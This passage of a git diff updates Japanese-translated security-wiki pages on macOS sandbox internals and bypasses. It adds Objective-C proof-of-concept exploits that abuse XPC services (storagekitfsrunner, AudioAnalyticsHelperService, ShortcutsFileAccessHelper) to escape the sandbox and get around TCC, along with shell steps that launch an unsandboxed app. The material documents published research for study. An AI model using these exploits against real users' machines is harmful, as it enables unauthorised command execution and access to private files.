**Apple**が作成した**ソフトウェア**は、**Windows**上で**追加のセキュリティ対策**(アプリケーションサンドボックスなど)を持っていないことに注意してください。 +> **Apple**が作成した**ソフトウェア**は、**Windows**上で**追加のセキュリティ対策**、例えばアプリケーションサンドボックスがありません。 バイパスの例: @@ -263,7 +265,7 @@ iOS では、デフォルトプロファイルは **container** と呼ばれ、S ## Sandboxのデバッグとバイパス -macOSでは、iOSとは異なり、プロセスはカーネルによって最初からサンドボックス化されているわけではなく、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが積極的にサンドボックスに入ることを決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。 +macOSでは、プロセスがカーネルによって最初からサンドボックス化されるiOSとは異なり、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが自らサンドボックスに入ることを積極的に決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。 プロセスは、権限`com.apple.security.app-sandbox`を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、次を確認してください: @@ -283,7 +285,7 @@ macos-sandbox-debug-and-bypass/ - `sandbox_extension_issue_generic` - `sandbox_extension_issue_posix_ipc` -拡張は、プロセスの資格情報からアクセス可能な第二のMACFラベルスロットに保存されます。次の**`sbtool`**がこの情報にアクセスできます。 +拡張は、プロセスの資格情報からアクセス可能な2番目のMACFラベルスロットに保存されます。次の**`sbtool`**がこの情報にアクセスできます。 拡張は通常、許可されたプロセスによって付与されることに注意してください。たとえば、`tccd`は、プロセスが写真にアクセスし、XPCメッセージで許可された場合、`com.apple.tcc.kTCCServicePhotos`の拡張トークンを付与します。その後、プロセスは拡張トークンを消費する必要があり、それが追加されます。\ 拡張トークンは、付与された権限をエンコードする長い16進数であることに注意してください。ただし、許可されたPIDがハードコーディングされていないため、トークンにアクセスできる任意のプロセスが**複数のプロセスによって消費される可能性があります**。 @@ -305,7 +307,7 @@ sbtool all サンドボックスを一時停止および再開することも可能で、`libsystem_sandbox.dylib`の`sandbox_suspend`および`sandbox_unsuspend`関数を使用します。 -一時停止関数を呼び出すには、呼び出し元が呼び出すことを許可するためにいくつかの権限がチェックされます。例えば: +一時停止関数を呼び出すには、呼び出し元が呼び出すことを許可されるためにいくつかの権限がチェックされます。例えば: - com.apple.private.security.sandbox-manager - com.apple.security.print @@ -313,15 +315,15 @@ sbtool all ## mac_syscall -このシステムコール (#381) は、最初の引数として実行するモジュールを示す文字列を期待し、次の引数には実行する関数を示すコードを指定します。3番目の引数は実行される関数に依存します。 +このシステムコール(#381)は、最初の引数として実行するモジュールを示す文字列を期待し、次の引数には実行する関数を示すコードを指定します。3番目の引数は実行される関数に依存します。 -関数`___sandbox_ms`の呼び出しは、最初の引数に`"Sandbox"`を指定して`mac_syscall`をラップします。同様に、`___sandbox_msp`は`mac_set_proc` (#387) のラッパーです。次に、`___sandbox_ms`によってサポートされるコードの一部は次の表に示されています: +関数`___sandbox_ms`の呼び出しは、最初の引数に`"Sandbox"`を指定して`mac_syscall`をラップします。同様に、`___sandbox_msp`は`mac_set_proc`(#387)のラッパーです。次に、`___sandbox_ms`によってサポートされるコードの一部は次の表に示されています: - **set_profile (#0)**: プロセスにコンパイル済みまたは名前付きプロファイルを適用します。 - **platform_policy (#1)**: プラットフォーム固有のポリシーチェックを強制します(macOSとiOSで異なります)。 - **check_sandbox (#2)**: 特定のサンドボックス操作の手動チェックを実行します。 - **note (#3)**: サンドボックスに注釈を追加します。 -- **container (#4)**: 通常はデバッグまたは識別のために、サンドボックスに注釈を添付します。 +- **container (#4)**: サンドボックスに注釈を添付します。通常はデバッグや識別のために使用されます。 - **extension_issue (#5)**: プロセスの新しい拡張を生成します。 - **extension_consume (#6)**: 指定された拡張を消費します。 - **extension_release (#7)**: 消費された拡張に関連付けられたメモリを解放します。 @@ -330,25 +332,25 @@ sbtool all - **suspend (#10)**: すべてのサンドボックスチェックを一時的に停止します(適切な権限が必要です)。 - **unsuspend (#11)**: 以前に一時停止されたすべてのサンドボックスチェックを再開します。 - **passthrough_access (#12)**: サンドボックスチェックをバイパスしてリソースへの直接パススルーアクセスを許可します。 -- **set_container_path (#13)**: (iOSのみ) アプリグループまたは署名IDのためのコンテナパスを設定します。 -- **container_map (#14)**: (iOSのみ) `containermanagerd`からコンテナパスを取得します。 -- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) サンドボックス内のユーザーモードメタデータを設定します。 +- **set_container_path (#13)**: (iOSのみ)アプリグループまたは署名IDのためのコンテナパスを設定します。 +- **container_map (#14)**: (iOSのみ)`containermanagerd`からコンテナパスを取得します。 +- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+)サンドボックス内のユーザーモードメタデータを設定します。 - **inspect (#16)**: サンドボックス化されたプロセスに関するデバッグ情報を提供します。 -- **dump (#18)**: (macOS 11) 分析のためにサンドボックスの現在のプロファイルをダンプします。 +- **dump (#18)**: (macOS 11)分析のためにサンドボックスの現在のプロファイルをダンプします。 - **vtrace (#19)**: 監視またはデバッグのためにサンドボックス操作をトレースします。 -- **builtin_profile_deactivate (#20)**: (macOS < 11) 名前付きプロファイルを無効にします(例:`pe_i_can_has_debugger`)。 +- **builtin_profile_deactivate (#20)**: (macOS < 11)名前付きプロファイルを無効にします(例:`pe_i_can_has_debugger`)。 - **check_bulk (#21)**: 単一の呼び出しで複数の`sandbox_check`操作を実行します。 - **reference_retain_by_audit_token (#28)**: サンドボックスチェックで使用するための監査トークンの参照を作成します。 - **reference_release (#29)**: 以前に保持された監査トークンの参照を解放します。 - **rootless_allows_task_for_pid (#30)**: `task_for_pid`が許可されているかどうかを確認します(`csr`チェックに類似)。 -- **rootless_whitelist_push (#31)**: (macOS) システム整合性保護(SIP)マニフェストファイルを適用します。 +- **rootless_whitelist_push (#31)**: (macOS)システム整合性保護(SIP)マニフェストファイルを適用します。 - **rootless_whitelist_check (preflight) (#32)**: 実行前にSIPマニフェストファイルをチェックします。 -- **rootless_protected_volume (#33)**: (macOS) ディスクまたはパーティションにSIP保護を適用します。 +- **rootless_protected_volume (#33)**: (macOS)ディスクまたはパーティションにSIP保護を適用します。 - **rootless_mkdir_protected (#34)**: ディレクトリ作成プロセスにSIP/DataVault保護を適用します。 ## Sandbox.kext -iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべてのプロファイルをハードコーディング**しているため、変更されないようにしています。以下はカーネル拡張からのいくつかの興味深い関数です: +iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべてのプロファイルをハードコーディング**しているため、変更されることはありません。以下はカーネル拡張からのいくつかの興味深い関数です: - **`hook_policy_init`**: `mpo_policy_init`をフックし、`mac_policy_register`の後に呼び出されます。サンドボックスの初期化のほとんどを実行します。また、SIPも初期化します。 - **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`、`security.mac.sandbox.audio_active`、および`security.mac.sandbox.debug_mode`を登録するsysctlインターフェースを設定します(`PE_i_can_has_debugger`でブートされた場合)。 @@ -356,17 +358,17 @@ iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべ ### MACF Hooks -**`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行することを許可する単純なケースをチェックするだけで、そうでない場合は、**`cred_sb_evalutate`**を呼び出し、**資格情報**と**操作**に対応する番号、出力用の**バッファ**を渡します。 +**`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行することを許可する単純なケースをチェックするだけであり、そうでない場合は、**`cred_sb_evalutate`**を呼び出し、**資格情報**と**操作**に対応する番号、および出力用の**バッファ**を渡します。 -その良い例は、フックされた**`_mpo_file_check_mmap`**関数で、**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックし(そうでない場合は実行を許可)、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**(またはそのラッパーの1つ)を呼び出してさらなる許可チェックを実行します。 +その良い例は、**`_mpo_file_check_mmap`**関数で、これは**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックし(そうでない場合は実行を許可)、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**(またはそのラッパーの1つ)を呼び出してさらなる許可チェックを実行します。 さらに、サンドボックスが使用する数百のフックの中で、特に興味深い3つがあります: - `mpo_proc_check_for`: 必要に応じてプロファイルを適用し、以前に適用されていない場合。 - `mpo_vnode_check_exec`: プロセスが関連するバイナリをロードするときに呼び出され、プロファイルチェックとSUID/SGID実行を禁止するチェックが行われます。 -- `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは、バイナリが完全にロードされるがまだ実行されていないときに呼び出されるため、最も長いものです。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。 +- `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは最も長いもので、バイナリが完全にロードされるときに呼び出されますが、まだ実行されていません。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。 -**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、通常はすべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**と**特定のプロセスプロファイル**を使用して評価を実行します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つです。 +**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、次に**`eval`**関数を使用して評価を実行します。この関数は通常、すべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**を評価し、その後**特定のプロセスプロファイル**を評価します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つです。 ## Sandboxd diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index 888af22a6..a603533a9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -4,31 +4,31 @@ ## Sandbox loading process -

Image from http://newosxbook.com/files/HITSB.pdf

+

画像は http://newosxbook.com/files/HITSB.pdf からのものです。

-前の画像では、**アプリケーションが権限** **`com.apple.security.app-sandbox`** を持っているときに、**サンドボックスがどのようにロードされるか**を観察できます。 +前の画像では、**アプリケーションが権限 **`com.apple.security.app-sandbox`** を持っているときに、サンドボックスが**どのように読み込まれるかを観察できます。 コンパイラは `/usr/lib/libSystem.B.dylib` をバイナリにリンクします。 -次に、**`libSystem.B`** は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`** がアプリの権限を **`securityd`** に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離します。\ +次に、**`libSystem.B`** は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`** がアプリの権限を **`securityd`** に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離されます。\ 最後に、サンドボックスは **`__sandbox_ms`** への呼び出しでアクティブ化され、これが **`__mac_syscall`** を呼び出します。 ## Possible Bypasses ### Bypassing quarantine attribute -**サンドボックス化されたプロセスによって作成されたファイル**には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。しかし、もしあなたが**隔離属性なしで `.app` フォルダを作成することができれば**、アプリバンドルのバイナリを **`/bin/bash`** にポイントさせ、**plist** にいくつかの環境変数を追加して **`open`** を悪用し、**新しいアプリをサンドボックスなしで起動**することができます。 +**サンドボックス化されたプロセスによって作成されたファイル** には、サンドボックスからの脱出を防ぐために **隔離属性** が追加されます。しかし、もしあなたが **隔離属性なしで `.app` フォルダを作成することができれば**、アプリバンドルのバイナリを **`/bin/bash`** にポイントさせ、**plist** にいくつかの環境変数を追加して **`open`** を悪用し、**新しいアプリをサンドボックスなしで起動する** ことができます。 -これは [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** で行われました。** +これは [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** で行われたことです。** > [!CAUTION] -> したがって、現時点では、**隔離属性なしで `.app` で終わる名前のフォルダを作成することができる**場合、サンドボックスから脱出できます。なぜなら、macOSは**`.app` フォルダ**と**メイン実行可能ファイル**の**隔離**属性のみを**チェック**するからです(そして、私たちはメイン実行可能ファイルを **`/bin/bash`** にポイントさせます)。 +> したがって、現時点では、**隔離属性なしで `.app` で終わる名前のフォルダを作成することができる** なら、サンドボックスから脱出できます。なぜなら、macOSは **`.app` フォルダ** と **メイン実行可能ファイル** の **隔離** 属性のみを **チェック** するからです(そして、私たちはメイン実行可能ファイルを **`/bin/bash`** にポイントさせます)。 > -> すでに実行を許可された .app バンドルがある場合(実行を許可されたフラグが付いた隔離 xttr がある場合)、それを悪用することもできます... ただし、今はサンドボックス内では特権 TCC 権限がない限り、**.app** バンドル内に書き込むことはできません。 +> すでに実行を許可された .app バンドル(実行を許可されたフラグが付いた隔離 xttrを持つ)も悪用できる可能性があります... ただし、今は **`.app`** バンドル内に書き込むことはできません。なぜなら、サンドボックス内では特権のある TCC 権限を持っていないからです(サンドボックス内では持っていません)。 ### Abusing Open functionality -[**Word サンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)では、**`open`** CLI 機能がサンドボックスをバイパスするために悪用される様子が確認できます。 +[**Wordサンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) では、**`open`** CLI 機能がサンドボックスをバイパスするために悪用される様子が確認できます。 {{#ref}} macos-office-sandbox-bypasses.md @@ -36,16 +36,16 @@ macos-office-sandbox-bypasses.md ### Launch Agents/Daemons -アプリケーションが**サンドボックス化されることを意図している** (`com.apple.security.app-sandbox`)場合でも、例えば**LaunchAgent** (`~/Library/LaunchAgents`) から実行されるとサンドボックスをバイパスすることが可能です。\ -[**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgent として自動的に実行されるようにし、DyLib 環境変数を介して悪意のあるコードを注入することができます。 +アプリケーションが **サンドボックス化されることを意図している** (`com.apple.security.app-sandbox`) 場合でも、例えば **LaunchAgent** (`~/Library/LaunchAgents`) から実行されるとサンドボックスをバイパスすることが可能です。\ +[**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgent として自動的に実行されるようにし、DyLib 環境変数を介して悪意のあるコードを注入することができます。 ### Abusing Auto Start Locations -サンドボックス化されたプロセスが**後でサンドボックスなしで実行されるアプリケーションがバイナリを実行する場所に**書き込むことができれば、**そこにバイナリを置くだけで脱出**できます。この種の場所の良い例は `~/Library/LaunchAgents` や `/System/Library/LaunchDaemons` です。 +サンドボックス化されたプロセスが **後でサンドボックスなしのアプリケーションがバイナリを実行する場所に** 書き込むことができれば、**そこにバイナリを置くだけで** 脱出できます。この種の場所の良い例は `~/Library/LaunchAgents` や `/System/Library/LaunchDaemons` です。 -これには**2ステップ**が必要な場合があります:**より許可されたサンドボックス** (`file-read*`, `file-write*`) を持つプロセスを実行して、実際に**サンドボックスなしで実行される場所に書き込む**コードを実行します。 +これには **2ステップ** が必要になる場合があります:**より許可されたサンドボックス** (`file-read*`, `file-write*`) を持つプロセスを実行して、実際に **サンドボックスなしで実行される場所に書き込む** コードを実行します。 -**Auto Start locations**についてはこのページを確認してください: +**自動起動場所** に関するこのページを確認してください: {{#ref}} ../../../../macos-auto-start-locations.md @@ -53,27 +53,188 @@ macos-office-sandbox-bypasses.md ### Abusing other processes -サンドボックスプロセスから、**制限の少ない(または全くない)他のプロセスを妥協することができれば**、それらのサンドボックスに脱出することができます: +サンドボックスプロセスから **他のプロセスを妥協する** ことができれば、より制限の少ないサンドボックス(または全くない)に脱出することができます: {{#ref}} ../../../macos-proces-abuse/ {{#endref}} -### Static Compiling & Dynamically linking +### Available System and User Mach services -[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、サンドボックスをバイパスする2つの方法が発見されました。サンドボックスはユーザーランドから適用されるため、**libSystem** ライブラリがロードされるときに、バイナリがそれを回避できれば、サンドボックス化されることはありません: +サンドボックスは、プロファイル `application.sb` で定義された特定の **Machサービス** と通信することも許可します。これらのサービスの1つを **悪用** できれば、**サンドボックスから脱出** できるかもしれません。 -- バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードすることを回避できます。 -- **バイナリがライブラリをロードする必要がない**場合(リンカーも libSystem にあるため)、libSystem をロードする必要はありません。 +[この書き込み](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) に示されているように、Machサービスに関する情報は `/System/Library/xpc/launchd.plist` に保存されています。`System` と `User` をそのファイル内で検索することで、すべてのシステムおよびユーザMachサービスを見つけることができます。 -### Shellcodes +さらに、`bootstrap_look_up` を呼び出すことで、サンドボックス化されたアプリケーションに利用可能なMachサービスがあるかどうかを確認することができます。 +```objectivec +void checkService(const char *serviceName) { +mach_port_t service_port = MACH_PORT_NULL; +kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port); +if (!err) { +NSLog(@"available service:%s", serviceName); +mach_port_deallocate(mach_task_self_, service_port); +} +} -**シェルコード**でさえ、ARM64 では `libSystem.dylib` にリンクする必要があることに注意してください: +void print_available_xpc(void) { +NSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"]; +NSDictionary* launchDaemons = dict[@"LaunchDaemons"]; +for (NSString* key in launchDaemons) { +NSDictionary* job = launchDaemons[key]; +NSDictionary* machServices = job[@"MachServices"]; +for (NSString* serviceName in machServices) { +checkService(serviceName.UTF8String); +} +} +} +``` +### 利用可能なPID Machサービス + +これらのMachサービスは、最初にこの[サンドボックスからの脱出に利用されました](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。その時点で、**アプリケーションとそのフレームワークによって必要とされるすべてのXPCサービス**がアプリのPIDドメイン内で表示されていました(これらは`ServiceType`が`Application`のMachサービスです)。 + +**PIDドメインXPCサービスに連絡するためには**、アプリ内で次のような行を使って登録するだけで済みます: +```objectivec +[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; +``` +さらに、`System/Library/xpc/launchd.plist` 内で `Application` を検索することで、すべての **Application** Mach サービスを見つけることができます。 + +有効な xpc サービスを見つける別の方法は、次の場所を確認することです: +```bash +find /System/Library/Frameworks -name "*.xpc" +find /System/Library/PrivateFrameworks -name "*.xpc" +``` +この技術を悪用したいくつかの例は[**元のレポート**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)に見つけることができますが、以下は要約された例です。 + +#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc + +このサービスは、常に`YES`を返すことですべてのXPC接続を許可し、メソッド`runTask:arguments:withReply:`は任意のコマンドを任意のパラメータで実行します。 + +このエクスプロイトは「非常に簡単でした」: +```objectivec +@protocol SKRemoteTaskRunnerProtocol +-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; +@end + +void exploit_storagekitfsrunner(void) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)]; +[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}]; +[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}]; +[conn resume]; + +[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) { +NSLog(@"run task result:%@, error:%@", bSucc, error); +}]; +} +``` +#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc + +このXPCサービスは、常にYESを返すことで、すべてのクライアントを許可し、メソッド`createZipAtPath:hourThreshold:withReply:`は、圧縮するフォルダのパスを指定することを基本的に許可しました。そして、それはZIPファイルに圧縮されます。 + +したがって、偽のアプリフォルダ構造を生成し、それを圧縮し、次に解凍して実行することで、サンドボックスを脱出することが可能です。新しいファイルには隔離属性がないためです。 + +エクスプロイトは: +```objectivec +@protocol AudioAnalyticsHelperServiceProtocol +-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +@end +void exploit_AudioAnalyticsHelperService(void) { +NSString *currentPath = NSTemporaryDirectory(); +chdir([currentPath UTF8String]); +NSLog(@"======== preparing payload at the current path:%@", currentPath); +system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json"); +[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0]; +system("chmod +x compressed/poc.app/Contents/MacOS/poc"); + +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)]; +[conn resume]; + +[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){ +NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath]; +NSString *file; +while ((file = [dirEnum nextObject])) { +if ([[file pathExtension] isEqualToString: @"zip"]) { +// open the zip +NSString *cmd = [@"open " stringByAppendingString:file]; +system([cmd UTF8String]); + +sleep(3); // wait for decompression and then open the payload (poc.app) +NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]]; +system([cmd2 UTF8String]); +break; +} +} +}]; +} +``` +#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc + +このXPCサービスは、`extendAccessToURL:completion:`メソッドを介して、任意のURLに対する読み取りおよび書き込みアクセスをXPCクライアントに提供することを可能にします。このXPCサービスにはFDAがあるため、これらの権限を悪用してTCCを完全にバイパスすることが可能です。 + +エクスプロイトは: +```objectivec +@protocol WFFileAccessHelperProtocol +- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; +@end +typedef int (*PFN)(const char *); +void expoit_ShortcutsFileAccessHelper(NSString *target) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)]; +[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1]; +[conn resume]; + +[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) { +NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding]; +NSURL *targetURL = [fpWrapper url]; + +void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2); +PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume"); +if (sandbox_extension_consume([sbxToken UTF8String]) == -1) +NSLog(@"Fail to consume the sandbox token:%@", sbxToken); +else { +NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken); +NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); +} +}]; +} +``` +### 静的コンパイルと動的リンク + +[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、Sandboxをバイパスする2つの方法が発見されました。Sandboxは、**libSystem**ライブラリがロードされるときにユーザーランドから適用されます。バイナリがそれをロードしないことができれば、Sandboxに入ることはありません: + +- バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードすることを避けることができます。 +- **バイナリがライブラリをロードする必要がない**場合(リンカーもlibSystemにあるため)、libSystemをロードする必要はありません。 + +### シェルコード + +**シェルコード**でさえ、ARM64では`libSystem.dylib`にリンクする必要があることに注意してください: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` -### Entitlements +### 継承されない制限 + +**[この書き込みのボーナス](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** で説明されているように、サンドボックスの制限は次のようになります: +``` +(version 1) +(allow default) +(deny file-write* (literal "/private/tmp/sbx")) +``` +新しいプロセスが例えば実行することでバイパスできます: +```bash +mkdir -p /tmp/poc.app/Contents/MacOS +echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc +chmod +x /tmp/poc.app/Contents/MacOS/poc +open /tmp/poc.app +``` +しかし、もちろん、この新しいプロセスは親プロセスから権限や特権を継承しません。 + +### 権限 特定の**権限**を持つアプリケーションの場合、いくつかの**アクション**が**サンドボックスによって許可される**可能性があることに注意してください。 ```scheme @@ -117,7 +278,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand _libsecinit_initializer called Sandbox Bypassed! ``` -#### インターポスト `__mac_syscall` でサンドボックスを防ぐ +#### Interpost `__mac_syscall` でサンドボックスを防ぐ ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib @@ -200,7 +361,7 @@ system("cat ~/Desktop/del.txt"); {{#endtab}} {{#endtabs}} -次にアプリをコンパイルします: +次にアプリをコンパイルします: ```bash # Compile it gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand @@ -211,14 +372,14 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli codesign -s --entitlements entitlements.xml sand ``` > [!CAUTION] -> アプリは **`~/Desktop/del.txt`** ファイルを**読み取ろうとしますが**、**Sandboxはそれを許可しません**。\ -> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください: +> アプリは **`~/Desktop/del.txt`** ファイルを **読み取ろう** としますが、**Sandboxはそれを許可しません**。\ +> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください: > > ```bash > echo "Sandbox Bypassed" > ~/Desktop/del.txt > ``` -アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう: +アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう: ```bash # Load app in debugging lldb ./sand @@ -297,7 +458,7 @@ Process 2517 exited with status = 0 (0x00000000) ``` > [!WARNING] > **サンドボックスをバイパスしても、TCC** はユーザーにデスクトップからファイルを読み取るプロセスを許可するかどうか尋ねます -## References +## 参考文献 - [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) - [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index ae0ed95fa..ad1c02640 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -20,14 +20,14 @@ asd ### TCC ClickJacking -**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **承認** させることが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。** +**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **受け入れる** ことが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

